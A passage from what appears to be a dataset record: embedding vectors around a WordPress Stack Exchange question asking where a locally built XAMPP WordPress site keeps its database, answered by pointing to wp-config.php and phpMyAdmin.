0.005084991455078125,
-0.021331787109375,
0.01537322998046875,
-0.0191650390625,
-0.00020945072174072266,
0.02215576171875,
-0.043182373046875,
-0.03643798828125,
-0.022705078125,
0.003932952880859375,
0.024017333984375,
0.033203125,
0.006443023681640625,
0.0203704833984375,
0.01067352294921875,
0.03466796875,
0.00566864013671875,
-0.003124237060546875,
0.049530029296875,
-0.0206756591796875,
0.045196533203125,
0.0013589859008789062,
-0.011383056640625,
-0.040557861328125,
-0.0179443359375,
0.048828125,
-2.980232238769531e-7,
-0.057586669921875,
0.00555419921875,
-0.00753021240234375,
0.035064697265625,
0.012481689453125,
-0.0290985107421875,
0.02392578125,
0.0013074874877929688,
-0.03399658203125,
0.0032138824462890625,
-0.0005793571472167969,
-0.058929443359375,
-0.041778564453125,
-0.01216888427734375,
-0.00592041015625,
-0.00525665283203125,
0.037322998046875,
0.01531219482421875,
0.007297515869140625,
0.0206451416015625,
-0.02203369140625,
0.01409149169921875,
0.04217529296875,
-0.005519866943359375,
0.0291900634765625,
0.01042938232421875,
-0.0308990478515625,
-0.0171966552734375,
-0.01012420654296875,
-0.0249481201171875,
0.0022869110107421875,
0.048248291015625,
0.0496826171875,
0.01204681396484375,
0.0013647079467773438,
-0.02203369140625,
-0.032440185546875,
0.0081787109375,
-0.00868988037109375,
-0.062286376953125,
-0.02001953125,
-0.00714874267578125,
0.04571533203125,
0.0628662109375,
-0.01215362548828125,
-0.0085296630859375,
0.01456451416015625,
-0.0084686279296875,
0.04351806640625,
0.0252685546875,
-0.01654052734375,
0.0202178955078125,
0.0179290771484375,
-0.038299560546875,
0.0031909942626953125,
-0.0124969482421875,
-0.09185791015625,
-0.057830810546875,
0.007434844970703125,
-0.00925445556640625,
0.043426513671875,
-0.0205078125,
0.0116119384765625,
-0.0269622802734375,
0.0004220008850097656,
-0.031982421875,
-0.00452423095703125,
0.07354736328125,
0.03680419921875,
-0.0838623046875,
-0.0028400421142578125,
-0.06353759765625,
-0.02984619140625,
-0.07086181640625,
-0.06256103515625,
-0.061981201171875,
0.016632080078125,
0.0226593017578125,
0.0297698974609375,
-0.0255279541015625,
-0.051910400390625,
-0.007205963134765625,
0.0237274169921875,
0.0215301513671875,
0.044708251953125,
-0.0160369873046875,
0.032257080078125,
0.0257110595703125,
0.036956787109375,
0.0166473388671875,
0.0246429443359375,
0.0197906494140625,
-0.03765869140625,
-0.020477294921875,
-0.08477783203125,
-0.0009479522705078125,
0.03424072265625,
-0.00975799560546875,
0.01415252685546875,
-0.01861572265625,
0.0119476318359375,
0.02691650390625,
-0.054779052734375,
-0.00894927978515625,
-0.027618408203125,
0.024505615234375,
-0.0882568359375,
0.00853729248046875,
0.0031528472900390625,
-0.027069091796875,
0.0140380859375,
-0.00392913818359375,
-0.0123291015625,
0.02362060546875,
-0.023590087890625,
0.0176544189453125,
0.04937744140625,
-0.06793212890625,
0.038726806640625,
0.0802001953125,
-0.000053822994232177734,
0.046539306640625,
0.0251922607421875,
0.01129913330078125,
0.045867919921875,
-0.00481414794921875,
-0.030975341796875,
-0.0026950836181640625,
-0.004619598388671875,
-0.0039825439453125,
0.001033782958984375,
0.00832366943359375,
-0.0030040740966796875,
0.01403045654296875,
0.0687255859375,
0.06512451171875,
-0.09234619140625,
-0.004383087158203125,
0.01346588134765625,
-0.01013946533203125,
-0.0023479461669921875,
0.0188751220703125,
-0.00223541259765625,
-0.0171051025390625,
0.0166473388671875,
-0.0255584716796875,
0.002162933349609375,
0.015625,
-0.0135498046875,
-0.006275177001953125,
-0.004787445068359375,
0.01024627685546875,
0.00827789306640625,
-0.04205322265625,
-0.0255279541015625,
0.04132080078125,
-0.026885986328125,
0.0031719207763671875,
0.016021728515625,
-0.0028820037841796875,
-0.038787841796875,
-0.07513427734375,
-0.0194549560546875,
-0.005268096923828125,
-0.038909912109375,
-0.01763916015625,
0.002735137939453125,
0.018218994140625,
0.0303192138671875,
-0.023956298828125,
0.01239013671875,
0.00446319580078125,
-0.0091400146484375,
-0.004852294921875,
0.0129241943359375,
0.047576904296875,
-0.0158233642578125,
-0.060546875,
0.00853729248046875,
-0.06817626953125,
0.0007333755493164062,
-0.0077056884765625,
0.001056671142578125,
0.039764404296875,
0.00556182861328125,
-0.017578125,
0.04608154296875,
0.01502227783203125,
-0.0235443115234375,
0.01137542724609375,
0.0274658203125,
-0.03289794921875,
-0.022216796875,
0.006275177001953125,
-0.023712158203125,
0.01461029052734375,
0.01165008544921875,
-0.06512451171875,
0.06036376953125,
-0.05548095703125,
0.0631103515625,
0.0084075927734375,
0.01317596435546875,
0.035858154296875,
-0.002605438232421875,
-0.03143310546875,
0.0416259765625,
0.013397216796875,
-0.0022411346435546875,
-0.01904296875,
0.00948333740234375,
-0.014312744140625,
-0.016357421875,
0.0293426513671875,
0.005039215087890625,
-0.02301025390625,
0.0237274169921875,
0.07366943359375,
0.0249176025390625,
-0.0053863525390625,
0.043365478515625,
-0.005218505859375,
-0.034698486328125,
0.006610870361328125,
0.035125732421875,
0.050994873046875,
-0.028289794921875,
-0.030548095703125,
0.0161590576171875,
0.0184173583984375,
-0.0038585662841796875,
0.0200042724609375,
0.0095062255859375,
-0.045562744140625,
0.01522064208984375,
0.037078857421875,
0.0227813720703125,
0.04071044921875,
-0.0072784423828125,
0.0231170654296875,
-0.0169830322265625,
0.063232421875,
-0.030303955078125,
0.057769775390625,
-0.0137176513671875,
-0.0190277099609375,
0.0276031494140625,
0.01812744140625,
-0.032440185546875,
0.011322021484375,
-0.004253387451171875,
0.018463134765625,
-0.00754547119140625,
0.038604736328125,
0.028839111328125,
0.0335693359375,
-0.031494140625,
0.00531005859375,
0.0023021697998046875,
0.045318603515625,
-0.03326416015625,
-0.0657958984375,
0.0236053466796875,
-0.01117706298828125,
-0.0106353759765625,
0.006290435791015625,
-0.01177978515625,
-0.0443115234375,
0.004245758056640625,
0.0303802490234375,
0.0160980224609375,
0.0087738037109375,
-0.0301513671875,
0.016143798828125,
0.051055908203125,
-0.0013685226440429688,
0.06396484375,
-0.033447265625,
0.045013427734375,
0.0293426513671875,
0.0021343231201171875,
-0.0234222412109375,
0.06787109375,
0.0205841064453125,
0.0010290145874023438,
-0.031890869140625,
0.07177734375,
0.01226043701171875,
0.043853759765625,
-0.07086181640625,
-0.06671142578125,
0.0384521484375,
0.04437255859375,
0.00229644775390625,
0.013031005859375,
0.049774169921875,
0.042236328125,
-0.02081298828125,
-0.00698089599609375,
0.01453399658203125,
-0.0108795166015625,
0.0023670196533203125,
-0.0145416259765625,
-0.004093170166015625,
-0.003692626953125,
-0.01265716552734375,
-0.0188140869140625,
0.03521728515625,
0.002132415771484375,
-0.005268096923828125,
0.0169830322265625,
0.0078277587890625,
-0.01345062255859375,
0.005069732666015625,
0.01091766357421875,
0.016143798828125,
0.03955078125,
-0.08453369140625,
-0.009674072265625,
-0.0240478515625,
-0.062744140625,
0.0478515625,
0.048492431640625,
-0.01110076904296875,
-0.0023193359375,
0.0213775634765625,
-0.0115509033203125,
-0.0283050537109375,
0.01727294921875,
0.0218658447265625,
0.028045654296875,
0.0198516845703125,
0.020751953125,
-0.060577392578125,
-0.046234130859375,
-0.01116180419921875,
0.044891357421875,
-0.0037288665771484375,
0.08709716796875,
-0.02239990234375,
0.006732940673828125,
0.0084991455078125,
0.005565643310546875,
-0.01092529296875,
-0.02227783203125,
0.048126220703125,
-0.022613525390625,
-0.007244110107421875,
-0.001708984375,
0.005718231201171875,
-0.0039043426513671875,
0.0214080810546875,
-0.036651611328125,
0.0007443428039550781,
-0.037628173828125,
0.0181884765625,
-0.01678466796875,
-0.02056884765625,
-0.039031982421875,
-0.0546875,
-0.055267333984375,
0.0130767822265625,
-0.01087188720703125,
-0.021331787109375,
-0.037445068359375,
-0.004055023193359375,
0.008636474609375,
-0.003948211669921875,
0.0193634033203125,
0.03997802734375,
0.01021575927734375,
0.0291290283203125,
-0.03912353515625,
-0.06640625,
0.0008530616760253906,
-0.007350921630859375,
-0.019683837890625,
0.0137176513671875,
0.05718994140625,
-0.00568389892578125,
-0.0190277099609375,
0.06646728515625,
0.050689697265625,
0.0264892578125,
-0.06036376953125,
-0.005016326904296875,
0.095947265625,
-0.007373809814453125,
0.02496337890625,
0.0081024169921875,
-0.0027179718017578125,
-0.0257720947265625,
-0.0211334228515625,
0.014984130859375,
-0.01483154296875,
0.00037479400634765625,
-0.027496337890625,
0.0274505615234375,
0.052001953125,
0.0045623779296875,
-0.03558349609375,
0.02880859375,
-0.04443359375,
0.04498291015625,
0.0221405029296875,
-0.032470703125,
-0.018524169921875,
-0.01042938232421875,
-0.011871337890625,
-0.02825927734375,
-0.07135009765625,
0.0171966552734375,
-0.049774169921875,
0.0139007568359375,
0.0197906494140625,
-0.0161590576171875,
0.0192108154296875,
0.019378662109375,
0.0216827392578125,
0.054901123046875,
0.00403594970703125,
-0.0117950439453125,
0.019195556640625,
-0.004528045654296875,
-0.01212310791015625,
-0.053436279296875,
-0.00014650821685791016,
-0.0246734619140625,
-0.0106353759765625,
-0.0122528076171875,
0.0026397705078125,
0.0021991729736328125,
-0.02850341796875,
-0.0094146728515625,
0.0091705322265625,
0.0283203125,
-0.024749755859375,
0.000965118408203125,
0.006999969482421875,
-0.0286407470703125,
0.0063934326171875,
0.0096282958984375,
-0.042236328125,
0.01355743408203125,
0.02435302734375,
0.0156402587890625,
0.040618896484375,
-0.016754150390625,
0.05816650390625,
-0.030792236328125,
0.0577392578125,
0.0193023681640625,
-0.0031185150146484375,
-0.00966644287109375,
0.00020313262939453125,
0.005279541015625,
0.0288543701171875,
-0.0399169921875,
-0.048187255859375,
-0.0187530517578125,
0.00023567676544189453,
-0.03656005859375,
-0.0535888671875,
-0.001117706298828125,
-0.00574493408203125,
0.059112548828125,
0.06414794921875,
0.0010843276977539062,
-0.039703369140625,
-0.050933837890625,
-0.0268707275390625,
0.00852203369140625,
0.03173828125,
0.01317596435546875,
-0.047271728515625,
0.033355712890625,
0.0281524658203125,
-0.019073486328125,
0.0281829833984375,
0.0010461807250976562,
-0.0408935546875,
0.007080078125,
-0.005218505859375,
0.020294189453125,
-0.11663818359375,
0.013824462890625,
0.0416259765625,
-0.02716064453125,
0.0223846435546875,
-0.0184478759765625,
0.01220703125,
0.036590576171875,
-0.00970458984375,
0.0579833984375,
0.06890869140625,
-0.06646728515625,
-0.030487060546875,
0.034912109375,
-0.0031719207763671875,
-0.01654052734375,
-0.02435302734375,
0.0023975372314453125,
0.0225830078125,
-0.006809234619140625,
0.037078857421875,
0.01123809814453125,
0.002017974853515625,
0.004871368408203125,
-0.00696563720703125,
0.019805908203125,
0.0489501953125,
0.0007672309875488281,
0.04296875,
-0.0257110595703125,
-0.0210418701171875,
-0.00965118408203125,
-0.0249786376953125,
-0.002567291259765625,
-0.0022602081298828125,
-0.03045654296875,
-0.034454345703125,
0.00827789306640625,
-0.0169677734375,
-0.01318359375,
0.0211181640625
] |
36129521da142f038ab862d0169d73a952c48877
|
Wordpress Stackexchange
Q: Database location in WordPress I have created my website in WordPress and want to transfer it in my domain created with ipage. I am not able to locate the WordPress database. Can you help me? How is the format or extension of DB with WP. I have send to ipage all the files under XAMPP and WordPress but they still say DB is missing.
I need to know where the database is located in WP and what is the extension
A: You can find the database information by looking at your wp-config.php (which will be in your WordPress root folder).
Your wp-config.php will probably tell you then that your database host is "localhost" (DB_HOST) and since you are using XAMPP locally, the location of your DB would be wherever you are running MySQL basis your XAMPP installation. XAMPP comes with phpMyAdmin for managing the DB. That should help.
wp-config.php will also tell you the name of your database (DB_NAME). The table prefix is found farther down where it says $table_prefix.
|
Q: Database location in WordPress I have created my website in WordPress and want to transfer it in my domain created with ipage. I am not able to locate the WordPress database. Can you help me? How is the format or extension of DB with WP. I have send to ipage all the files under XAMPP and WordPress but they still say DB is missing.
I need to know where the database is located in WP and what is the extension
A: You can find the database information by looking at your wp-config.php (which will be in your WordPress root folder).
Your wp-config.php will probably tell you then that your database host is "localhost" (DB_HOST) and since you are using XAMPP locally, the location of your DB would be wherever you are running MySQL basis your XAMPP installation. XAMPP comes with phpMyAdmin for managing the DB. That should help.
wp-config.php will also tell you the name of your database (DB_NAME). The table prefix is found farther down where it says $table_prefix.
|
wordpress
|
{
"language": "en",
"length": 171,
"provenance": "stackexchange_00019.jsonl.gz:437584",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115723"
}
|
[
0.0301055908203125,
0.007762908935546875,
-0.04339599609375,
0.0029315948486328125,
0.0322265625,
-0.05474853515625,
0.057769775390625,
-0.003910064697265625,
0.00988006591796875,
0.03631591796875,
-0.0305633544921875,
-0.0012578964233398438,
-0.001964569091796875,
-0.015380859375,
-0.0419921875,
-0.034088134765625,
0.011260986328125,
0.00638580322265625,
0.01201629638671875,
-0.0201416015625,
-0.00128173828125,
-0.007476806640625,
0.00323486328125,
0.007358551025390625,
0.005313873291015625,
-0.036224365234375,
0.1099853515625,
-0.051727294921875,
0.033935546875,
-0.0233154296875,
0.01432037353515625,
-0.017852783203125,
0.02655029296875,
-0.00795745849609375,
0.0003561973571777344,
-0.02490234375,
-0.0128326416015625,
0.0020904541015625,
-0.0129547119140625,
0.0096435546875,
0.0120849609375,
-0.00128173828125,
0.035552978515625,
0.01158905029296875,
-0.006927490234375,
-0.040496826171875,
0.0235137939453125,
-0.03790283203125,
-0.0095977783203125,
-0.002262115478515625,
0.003765106201171875,
0.02239990234375,
0.0187225341796875,
-0.0404052734375,
0.01183319091796875,
0.004482269287109375,
0.0073394775390625,
-0.0231170654296875,
0.01207733154296875,
-0.00543212890625,
-0.01172637939453125,
0.00717926025390625,
0.01708984375,
-0.00780487060546875,
-0.036346435546875,
0.0247344970703125,
0.03570556640625,
-0.0197601318359375,
-0.03326416015625,
-0.0271759033203125,
0.0277252197265625,
-0.0166168212890625,
0.008148193359375,
0.023101806640625,
-0.0017328262329101562,
-0.0241546630859375,
0.011383056640625,
0.01435089111328125,
0.0299072265625,
0.0196075439453125,
0.0248260498046875,
-0.0164337158203125,
-0.01186370849609375,
-0.00978851318359375,
0.00911712646484375,
0.01953125,
0.0011739730834960938,
-0.018890380859375,
0.0296630859375,
-0.01361083984375,
0.006313323974609375,
-0.06781005859375,
-0.0092315673828125,
0.059234619140625,
0.003482818603515625,
-0.04193115234375,
0.006610870361328125,
0.01557159423828125,
-0.017120361328125,
0.0208587646484375,
-0.0035648345947265625,
-0.02294921875,
0.01139068603515625,
-0.01235198974609375,
0.006633758544921875,
0.037628173828125,
-0.004482269287109375,
-0.06781005859375,
-0.018707275390625,
-0.0026111602783203125,
-0.0110931396484375,
-0.00439453125,
-0.022308349609375,
-0.0360107421875,
-0.0231781005859375,
0.0224609375,
-0.036590576171875,
0.01323699951171875,
0.00412750244140625,
-0.00603485107421875,
-0.0182342529296875,
0.016387939453125,
-0.051483154296875,
-0.040496826171875,
0.01140594482421875,
-0.038543701171875,
-0.0165557861328125,
0.050384521484375,
-0.09527587890625,
0.038177490234375,
-0.0065460205078125,
0.0088958740234375,
0.0131683349609375,
0.0418701171875,
-0.0218353271484375,
-0.00617218017578125,
0.0269012451171875,
0.0012788772583007812,
0.00702667236328125,
0.02362060546875,
-0.0047607421875,
-0.032958984375,
-0.009307861328125,
-0.0088958740234375,
-0.00455474853515625,
-0.0029315948486328125,
0.040557861328125,
0.03326416015625,
-0.0308990478515625,
-0.00045943260192871094,
-0.02935791015625,
0.051055908203125,
0.0221099853515625,
0.0303955078125,
-0.00676727294921875,
-0.0003848075866699219,
0.019500732421875,
-0.0330810546875,
-0.01171112060546875,
-0.032562255859375,
0.00579833984375,
0.006320953369140625,
0.034088134765625,
-0.0272979736328125,
-0.0137786865234375,
-0.004016876220703125,
-0.06207275390625,
-0.01476287841796875,
0.034271240234375,
0.033721923828125,
-0.0270538330078125,
-0.0247650146484375,
0.04693603515625,
-0.00030684471130371094,
-0.0219573974609375,
0.020751953125,
-0.0008807182312011719,
-0.025115966796875,
0.036773681640625,
0.07537841796875,
0.02532958984375,
-0.0046844482421875,
0.02069091796875,
0.0308685302734375,
-0.019927978515625,
0.01318359375,
0.025726318359375,
0.030792236328125,
-0.00783538818359375,
0.0340576171875,
0.02874755859375,
0.022735595703125,
-0.03680419921875,
0.04345703125,
-0.035430908203125,
0.0066070556640625,
-0.01039886474609375,
0.047088623046875,
-0.0257110595703125,
-0.036712646484375,
-0.00004839897155761719,
0.016754150390625,
-0.005237579345703125,
0.01641845703125,
0.0168304443359375,
0.0012569427490234375,
0.00955963134765625,
0.0198822021484375,
0.038055419921875,
0.00658416748046875,
-0.004016876220703125,
0.033660888671875,
-0.0007166862487792969,
-0.0875244140625,
-0.06549072265625,
0.026824951171875,
-0.06201171875,
0.008575439453125,
-0.02392578125,
0.042205810546875,
-0.04473876953125,
-0.00496673583984375,
-0.03387451171875,
-0.046173095703125,
-0.005847930908203125,
-0.0095367431640625,
-0.01983642578125,
-0.00936126708984375,
-0.005580902099609375,
0.004726409912109375,
0.005901336669921875,
0.0263824462890625,
-0.018707275390625,
-0.032928466796875,
-0.020782470703125,
0.019378662109375,
0.0189361572265625,
-0.061798095703125,
0.01323699951171875,
0.0305633544921875,
0.032745361328125,
0.0201263427734375,
-0.018402099609375,
0.019989013671875,
0.03466796875,
-0.0811767578125,
-0.025604248046875,
0.0325927734375,
0.0081634521484375,
0.0609130859375,
-0.0029354095458984375,
0.007781982421875,
-0.0034198760986328125,
-0.04718017578125,
-0.021240234375,
0.0428466796875,
-0.0311431884765625,
0.0155792236328125,
0.0248565673828125,
-0.006519317626953125,
-0.02264404296875,
-0.052978515625,
0.0052947998046875,
-0.045135498046875,
0.0007376670837402344,
0.0465087890625,
0.057403564453125,
0.06591796875,
-0.01348876953125,
0.01146697998046875,
0.006900787353515625,
0.024627685546875,
0.00295257568359375,
0.025146484375,
-0.035614013671875,
0.020843505859375,
-0.0421142578125,
0.00891876220703125,
0.005970001220703125,
0.0018110275268554688,
-0.0137939453125,
0.0300445556640625,
-0.022705078125,
-0.0108489990234375,
-0.0517578125,
-0.0626220703125,
0.01654052734375,
0.050994873046875,
-0.03765869140625,
-0.048187255859375,
-0.01331329345703125,
0.045013427734375,
-0.0219879150390625,
0.03936767578125,
-0.0215606689453125,
-0.017242431640625,
0.09893798828125,
-0.02392578125,
0.01239776611328125,
-0.01093292236328125,
0.0301055908203125,
0.0438232421875,
0.007572174072265625,
-0.033111572265625,
-0.0165863037109375,
-0.007709503173828125,
-0.0017719268798828125,
-0.0288848876953125,
-0.045196533203125,
-0.0240936279296875,
-0.06646728515625,
-0.005329132080078125,
-0.006122589111328125,
-0.0279693603515625,
-0.0029754638671875,
-0.0293731689453125,
-0.01213836669921875,
-0.0271453857421875,
-0.1075439453125,
-0.075439453125,
-0.0281524658203125,
0.03125,
-0.0124969482421875,
0.0134124755859375,
0.011932373046875,
-0.005329132080078125,
-0.0035114288330078125,
0.00572967529296875,
0.039215087890625,
-0.049896240234375,
-0.05181884765625,
-0.05322265625,
-0.07696533203125,
-0.007904052734375,
0.01195526123046875,
-0.00439453125,
0.00560760498046875,
0.028106689453125,
0.0019435882568359375,
-0.0308990478515625,
-0.0007576942443847656,
0.017242431640625,
-0.00704193115234375,
-0.0181427001953125,
-0.0101165771484375,
-0.0435791015625,
0.03204345703125,
0.004238128662109375,
0.037994384765625,
-0.00681304931640625,
0.0296783447265625,
-0.02056884765625,
0.042205810546875,
0.03277587890625,
0.020233154296875,
0.01506805419921875,
-0.03448486328125,
-0.0115814208984375,
-0.0241851806640625,
-0.0714111328125,
-0.01229095458984375,
0.0212554931640625,
-0.0208892822265625,
-0.0004324913024902344,
0.0031585693359375,
-0.0289154052734375,
0.0038852691650390625,
-0.0028285980224609375,
0.04998779296875,
0.01131439208984375,
-0.00004976987838745117,
0.005451202392578125,
0.0210418701171875,
0.0023097991943359375,
0.023101806640625,
-0.037384033203125,
0.0430908203125,
-0.0278778076171875,
0.0105743408203125,
0.0162200927734375,
-0.0297393798828125,
-0.00927734375,
-0.020660400390625,
-0.012603759765625,
-0.06890869140625,
0.052215576171875,
-0.0340576171875,
-0.01727294921875,
-0.0265655517578125,
-0.0237884521484375,
0.0243072509765625,
0.102294921875,
-0.00745391845703125,
0.0036563873291015625,
0.037933349609375,
0.00824737548828125,
-0.07135009765625,
-0.01270294189453125,
-0.108642578125,
-0.0057220458984375,
-0.0364990234375,
-0.020111083984375,
-0.01128387451171875,
-0.0276947021484375,
0.00818634033203125,
-0.0033473968505859375,
-0.0137481689453125,
-0.03033447265625,
0.0290679931640625,
-0.06256103515625,
0.043304443359375,
0.01473236083984375,
0.0352783203125,
-0.0041351318359375,
-0.0149688720703125,
-0.046966552734375,
-0.042144775390625,
-0.021331787109375,
-0.03564453125,
0.05474853515625,
0.00927734375,
0.048980712890625,
-0.028472900390625,
0.0252227783203125,
-0.0029239654541015625,
0.016693115234375,
0.006099700927734375,
0.036865234375,
-0.039642333984375,
-0.07391357421875,
-0.0179443359375,
-0.05584716796875,
-0.0141448974609375,
-0.061126708984375,
-0.031951904296875,
-0.0287017822265625,
-0.028045654296875,
0.039276123046875,
-0.00839996337890625,
-0.00027942657470703125,
-0.000020742416381835938,
-0.0021514892578125,
-0.01169586181640625,
0.0287017822265625,
-0.023193359375,
0.014862060546875,
-0.0164031982421875,
-0.023712158203125,
0.09527587890625,
-0.02008056640625,
0.010528564453125,
-0.02056884765625,
0.09368896484375,
0.0037860870361328125,
-0.033355712890625,
-0.037353515625,
-0.01558685302734375,
0.053314208984375,
0.037200927734375,
0.029327392578125,
0.0220489501953125,
-0.0419921875,
0.045196533203125,
0.054840087890625,
-0.0228424072265625,
0.01383209228515625,
0.0188751220703125,
0.0021533966064453125,
-0.03363037109375,
0.01146697998046875,
-0.0193634033203125,
0.0177764892578125,
0.041290283203125,
0.0005064010620117188,
0.0016241073608398438,
0.040863037109375,
0.01334381103515625,
-0.0290374755859375,
-0.027008056640625,
-0.0193939208984375,
-0.033203125,
0.0178070068359375,
-0.0214080810546875,
0.0287933349609375,
-0.01416015625,
0.005374908447265625,
0.0121612548828125,
0.029998779296875,
-0.00849151611328125,
0.00836944580078125,
-0.0108795166015625,
0.01654052734375,
0.016754150390625,
0.0390625,
0.00183868408203125,
-0.00988006591796875,
-0.01264190673828125,
0.06170654296875,
-0.004276275634765625,
-0.062744140625,
0.039031982421875,
-0.0279083251953125,
-0.0264434814453125,
0.048797607421875,
-0.03564453125,
-0.0002522468566894531,
0.0010585784912109375,
-0.0201263427734375,
0.0224609375,
0.0102081298828125,
-0.045867919921875,
-0.0157318115234375,
-0.0184478759765625,
-0.040252685546875,
0.0124969482421875,
0.025848388671875,
0.0380859375,
-0.029449462890625,
0.03857421875,
-0.007434844970703125,
-0.007717132568359375,
0.0242462158203125,
0.03765869140625,
0.03125,
-0.03594970703125,
0.00009906291961669922,
-0.0011806488037109375,
0.01222991943359375,
-0.057403564453125,
0.0197906494140625,
-0.005504608154296875,
0.053985595703125,
-0.016021728515625,
-0.058502197265625,
0.05303955078125,
-0.038909912109375,
0.0021953582763671875,
0.0177001953125,
-0.032470703125,
-0.056427001953125,
-0.006622314453125,
0.00885009765625,
0.0284881591796875,
-0.037017822265625,
-0.00653076171875,
-0.0164947509765625,
-0.0210113525390625,
-0.007053375244140625,
0.0267486572265625,
-0.0289306640625,
-0.00371551513671875,
-0.003444671630859375,
0.00290679931640625,
-0.018157958984375,
-0.0404052734375,
0.045196533203125,
0.0030364990234375,
-0.01102447509765625,
-0.0160064697265625,
0.0230712890625,
-0.0284881591796875,
0.024627685546875,
-0.027801513671875,
-0.00679779052734375,
-0.062255859375,
0.007785797119140625,
0.051361083984375,
0.033355712890625,
-0.0190887451171875,
-0.01354217529296875,
-0.01108551025390625,
-0.000060558319091796875,
0.048187255859375,
-0.019012451171875,
-0.0091400146484375,
-0.031951904296875,
-0.03533935546875,
-0.00746917724609375,
-0.023956298828125,
0.004985809326171875,
-0.043121337890625,
0.03167724609375,
0.019989013671875,
-0.03277587890625,
0.005710601806640625,
0.0770263671875,
-0.028106689453125,
0.07281494140625,
0.0263214111328125,
0.061248779296875,
-0.0201416015625,
-0.03997802734375,
0.03680419921875,
-0.002788543701171875,
-0.025665283203125,
-0.04644775390625,
-0.002506256103515625,
-0.021514892578125,
0.040283203125,
-0.0264129638671875,
0.009307861328125,
-0.01433563232421875,
0.0063934326171875,
-0.01007843017578125,
0.0258331298828125,
0.0013561248779296875,
0.0301361083984375,
-0.00469207763671875,
-0.034942626953125,
-0.01212310791015625,
-0.02825927734375,
0.0055999755859375,
0.02197265625,
-0.0265045166015625,
-0.007022857666015625,
0.03778076171875,
-0.031982421875,
0.04840087890625,
0.056365966796875,
0.01361846923828125,
0.051971435546875,
0.01520538330078125,
0.007732391357421875,
-0.012054443359375,
0.0265045166015625,
-0.0838623046875,
-0.05120849609375,
0.01554107666015625,
0.0267333984375,
-0.026763916015625,
0.02685546875,
-0.0191650390625,
-0.011962890625,
0.0181732177734375,
0.047088623046875,
-0.01776123046875,
-0.000988006591796875,
0.0426025390625,
-0.02813720703125,
-0.03387451171875,
-0.016265869140625,
-0.0117950439453125,
-0.03753662109375,
-0.0206146240234375,
0.03460693359375,
-0.046630859375,
-0.046875,
0.0166168212890625,
0.010711669921875,
-0.007450103759765625,
0.048553466796875,
-0.01238250732421875,
-0.043426513671875,
-0.0239105224609375,
0.0172271728515625,
-0.007656097412109375,
0.004215240478515625,
0.01641845703125,
-0.0009975433349609375,
-0.0006489753723144531,
-0.052215576171875,
0.00664520263671875,
-0.0224151611328125,
-0.00356292724609375,
-0.01158905029296875,
-0.00958251953125,
0.049468994140625,
0.060699462890625,
-0.017486572265625,
0.01312255859375,
0.0196380615234375,
0.0389404296875,
0.0160064697265625,
-0.029327392578125,
0.01384735107421875,
-0.03643798828125,
-0.0751953125,
-0.0008039474487304688,
-0.054901123046875,
-0.0205230712890625,
-0.0002593994140625,
-0.05120849609375,
0.0182342529296875,
-0.06585693359375,
0.0231170654296875,
0.0109100341796875,
0.01503753662109375,
0.035980224609375,
0.0090179443359375,
0.0063629150390625,
-0.04656982421875,
-0.015533447265625,
0.0193634033203125,
-0.00469970703125,
-0.0023975372314453125,
0.0118255615234375,
-0.0200042724609375,
0.03662109375,
0.0240020751953125,
-0.0311431884765625,
0.0054168701171875,
0.029388427734375,
-0.0288238525390625,
0.0173187255859375,
-0.01849365234375,
0.054534912109375,
0.032867431640625,
0.01111602783203125,
-0.029693603515625,
-0.00804901123046875,
0.017242431640625,
0.030731201171875,
0.06878662109375,
0.0201873779296875,
-0.034881591796875,
0.01248931884765625,
0.052337646484375,
0.019989013671875,
-0.01461029052734375,
0.03857421875,
0.01467132568359375,
0.005237579345703125,
0.022857666015625,
-0.027435302734375,
0.0204315185546875,
-0.01213836669921875,
0.000865936279296875,
0.023956298828125,
0.015899658203125,
0.0098724365234375,
-0.00913238525390625,
0.043243408203125,
0.01508331298828125,
-0.004581451416015625,
0.011322021484375,
-0.04083251953125,
0.0005202293395996094,
0.019317626953125,
0.03790283203125,
-0.0771484375,
-0.00609588623046875,
-0.034393310546875,
0.055267333984375,
-0.0014638900756835938,
-0.0022125244140625,
0.0230560302734375,
0.01103973388671875,
0.004032135009765625,
-0.0041656494140625,
-0.00954437255859375,
0.0149078369140625,
-0.0129852294921875,
0.08453369140625,
0.0732421875,
0.02764892578125,
0.0010747909545898438,
0.0155792236328125,
0.021514892578125,
0.10516357421875,
-0.0745849609375,
-0.015899658203125,
0.003566741943359375,
0.00237274169921875,
0.01491546630859375,
-0.0310516357421875,
0.01425933837890625,
0.0394287109375,
0.037322998046875,
0.01009368896484375,
-0.011932373046875,
-0.00388336181640625,
0.005268096923828125,
0.00226593017578125,
0.0233154296875,
0.0118408203125,
-0.006763458251953125,
0.00726318359375,
0.0035419464111328125,
0.0034275054931640625,
-0.0213775634765625,
-0.027557373046875,
0.02105712890625,
0.014984130859375,
0.022308349609375,
-0.033111572265625,
0.028167724609375,
-0.0287628173828125,
0.054443359375,
-0.09326171875,
-0.052398681640625,
0.00939178466796875,
0.07080078125,
0.034332275390625,
0.051727294921875,
0.023651123046875,
-0.00519561767578125,
0.0179290771484375,
0.01331329345703125,
0.0308380126953125,
-0.0248260498046875,
0.01959228515625,
-0.054779052734375,
0.058563232421875,
0.0189056396484375,
0.011962890625,
-0.0017404556274414062,
0.0482177734375,
0.0129547119140625,
-0.015411376953125,
0.020843505859375,
0.0056304931640625,
-0.0114898681640625,
0.0345458984375,
0.00449371337890625,
0.005336761474609375,
-0.0006051063537597656,
-0.0030517578125,
-0.0272064208984375,
0.0269927978515625,
0.00045490264892578125,
-0.01727294921875,
0.0288238525390625,
0.04864501953125,
-0.035919189453125,
0.0246124267578125,
-0.02978515625,
-0.0084075927734375,
0.046844482421875,
-0.0179595947265625,
-0.00701904296875,
0.040313720703125,
-0.018280029296875,
-0.00370025634765625,
0.0035953521728515625,
-0.02001953125,
0.02960205078125,
0.011444091796875,
0.11016845703125,
-0.04510498046875,
0.020904541015625,
-0.028594970703125,
-0.0006165504455566406,
-0.00574493408203125,
-0.0150299072265625,
0.0160369873046875,
0.029144287109375,
0.0020599365234375,
-0.01267242431640625,
-0.01340484619140625,
-0.03143310546875,
0.050384521484375,
-0.040985107421875,
-0.01873779296875,
-0.030059814453125,
0.032440185546875,
-0.01073455810546875,
0.017974853515625,
-0.01959228515625,
-0.05474853515625,
-0.01309967041015625,
0.0201568603515625,
0.01390838623046875,
0.030548095703125,
-0.0092620849609375,
0.019378662109375,
0.0169830322265625,
-0.0204925537109375,
0.02789306640625,
-0.046875,
0.073974609375,
0.056884765625,
-0.040679931640625,
-0.06024169921875,
-0.03009033203125,
